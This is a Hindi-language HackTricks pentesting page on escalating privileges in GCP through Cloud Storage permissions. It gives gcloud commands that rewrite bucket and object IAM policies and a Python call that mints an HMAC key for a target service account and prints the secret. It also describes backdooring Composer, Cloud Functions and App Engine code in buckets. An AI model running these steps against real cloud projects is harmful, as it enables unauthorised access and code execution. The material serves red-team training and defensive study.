GCP - Storage Privesc

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Storage

Basic Information:

GCP - Storage Enum

storage.objects.get

यह permission आपको Cloud Storage के अंदर संग्रहीत फ़ाइलें डाउनलोड करने की अनुमति देता है। यह संभावित रूप से आपको privileges escalate करने में मदद कर सकता है क्योंकि कुछ मामलों में संवेदनशील जानकारी वहां सेव रहती है। इसके अलावा, कुछ GCP सेवाएँ अपनी जानकारी buckets में स्टोर करती हैं:

  • GCP Composer: जब आप एक Composer Environment बनाते हैं तो code of all the DAGs एक bucket के अंदर सेव किया जाएगा। ये tasks उनके कोड के भीतर दिलचस्प जानकारी रख सकते हैं।
  • GCR (Container Registry): containers की image buckets के अंदर स्टोर होती है, जिसका मतलब है कि अगर आप उन buckets को पढ़ सकते हैं तो आप images डाउनलोड कर पाएंगे और search for leaks and/or source code कर सकेंगे।

storage.objects.setIamPolicy

यह permission आपको इस सेक्शन में ऊपर बताए गए किसी भी परिदृश्य का abuse करने की अनुमति दे सकता है।

# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>

# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

storage.buckets.setIamPolicy

उदाहरण के लिए कि इस permission check के साथ permissions कैसे बदलें, इस पृष्ठ को देखें:

# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>

# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Cloud Storage की “interoperability” फ़ीचर, जो AWS S3 जैसे cross-cloud interactions के लिए डिज़ाइन की गई है, Service Accounts और users के लिए HMAC keys के निर्माण में शामिल है। एक attacker इसका फायदा उठा सकता है — उच्च privileges वाली Service Account के लिए HMAC key जनरेट करके, जिससे Cloud Storage में privileges escalate हो सकते हैं। जबकि user-आधारित HMAC keys केवल web console के माध्यम से पुनः प्राप्त की जा सकती हैं, access और secret keys दोनों स्थायी रूप से उपलब्ध रहते हैं, जिससे संभावित backup access storage संभव हो जाता है। इसके विपरीत, Service Account-लिंक्ड HMAC keys API-से पहुँच योग्य होते हैं, पर उनके access और secret keys निर्माण के बाद पुनः प्राप्त नहीं किए जा सकते, जो लगातार access बनाए रखने में जटिलता जोड़ता है।

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Another exploit script for this method can be found here.

storage.objects.create, storage.objects.delete = Storage Write permissions

Bucket के अंदर एक नया ऑब्जेक्ट बनाने के लिए आपको storage.objects.create चाहिए और, the docs के अनुसार, किसी मौजूदा ऑब्जेक्ट को संशोधित करने के लिए आपको storage.objects.delete भी चाहिए।

ऐसे buckets जहाँ आप cloud में लिख सकते हैं का एक बहुत ही सामान्य exploitation यह है कि अगर वह bucket वेब सर्वर फ़ाइलें सेव कर रहा है, तो आप संभवतः ऐसी नई code स्टोर कर पाएँगे जिसे web application उपयोग करेगा।

Composer

Composer GCP के अंदर managed Apache Airflow है। इसके कुछ दिलचस्प फीचर्स हैं:

  • यह एक GKE cluster के अंदर चलता है, इसलिए SA जिसका cluster उपयोग करता है, Composer के अंदर चलने वाले कोड द्वारा एक्सेस किया जा सकता है।
  • एक composer environment के सभी component (code of DAGs, plugins और data) एक GCP bucket में स्टोर होते हैं। यदि attacker के पास उस पर read और write permissions हों, तो वह bucket को मॉनिटर करके जब भी कोई DAG बनाया या अपडेट किया जाए, एक backdoored version submit कर सकता है ताकि composer environment storage से backdoored version ले सके।

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs

Cloud Functions

  • Cloud Functions का code Storage में स्टोर होता है और जब भी एक नया version बनाया जाता है तो code bucket में push किया जाता है और फिर उस code से नया container build होता है। इसलिए, नए version के build होने से पहले code को overwrite करके यह संभव है कि cloud function arbitrary code execute करे।

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions

App Engine

AppEngine versions एक bucket के अंदर कुछ data generate करते हैं जिसका नाम इस format में होता है: staging.<project-id>.appspot.com. इस bucket के अंदर एक ae नाम का folder मिलता है जिसमें AppEngine app के हर version के लिए एक folder होगा और इन folders के अंदर आपको manifest.json फ़ाइल मिलेगी। यह फ़ाइल उस specific version को बनाने के लिए उपयोग की जाने वाली सभी फ़ाइलों का json रखती है। इसके अलावा, यहाँ आपको फ़ाइलों के असली नाम, GCP bucket के अंदर उनकी URL (क्योंकि bucket के अंदर फ़ाइलों का नाम उनके sha1 hash में बदल दिया गया होता है) और प्रत्येक फ़ाइल का sha1 hash भी मिल सकता है।

Note that it’s not possible to pre-takeover this bucket because GCP users aren’t authorized to generate buckets using the domain name appspot.com.

हालाँकि, इस bucket पर read & write access होने पर App Engine version से जुड़ी SA तक privileges escalate करना संभव है — बस bucket को मॉनिटर करें और जब भी कोई change हो (नया version), तुरंत नए version को modify कर दें। इस तरह, जो container उस code से बनाया जाएगा वह backdoored code execute करेगा।

यह हमला कई तरीकों से किया जा सकता है, सभी की शुरुआत staging.<project-id>.appspot.com bucket को मॉनिटर करने से होती है:

  • AppEngine version का पूरा नया code किसी अलग उपलब्ध bucket में upload करें और एक manifest.json फ़ाइल बनाएँ जिसमें नए bucket का नाम और उनकी sha1 hashes हों। फिर, जब bucket के अंदर नया version बनाया जाए, आप बस manifest.json फ़ाइल को modify करके malicious वाली upload कर दें।
  • एक संशोधित requirements.txt upload करें जो malicious dependencies का उपयोग करे और manifest.json फ़ाइल को नए filename, URL और उसके hash के साथ अपडेट करें।
  • एक संशोधित main.py या app.yaml फ़ाइल upload करें जो malicious code execute करेगी और manifest.json फ़ाइल को नए filename, URL और उसके hash के साथ अपडेट करें।

You can find a PoC of this attack in the repo: https://github.com/carlospolop/Monitor-Backdoor-AppEngine

GCR

  • Google Container Registry images को buckets के अंदर स्टोर करता है; अगर आप उन buckets में write कर सकते हैं तो आप संभवतः उन जगहों तक lateral move कर सकेंगे जहाँ वे buckets run होते हैं।
  • GCR द्वारा उपयोग किया गया bucket एक URL जैसा होगा: gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (Top level subdomains को यहाँ specify किया गया है)।

Tip

यह सेवा deprecated है इसलिए यह attack अब उपयोगी नहीं है। इसके अलावा, Artifact Registry, जो इस सेवा का विकल्प है, images को buckets में स्टोर नहीं करता है।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें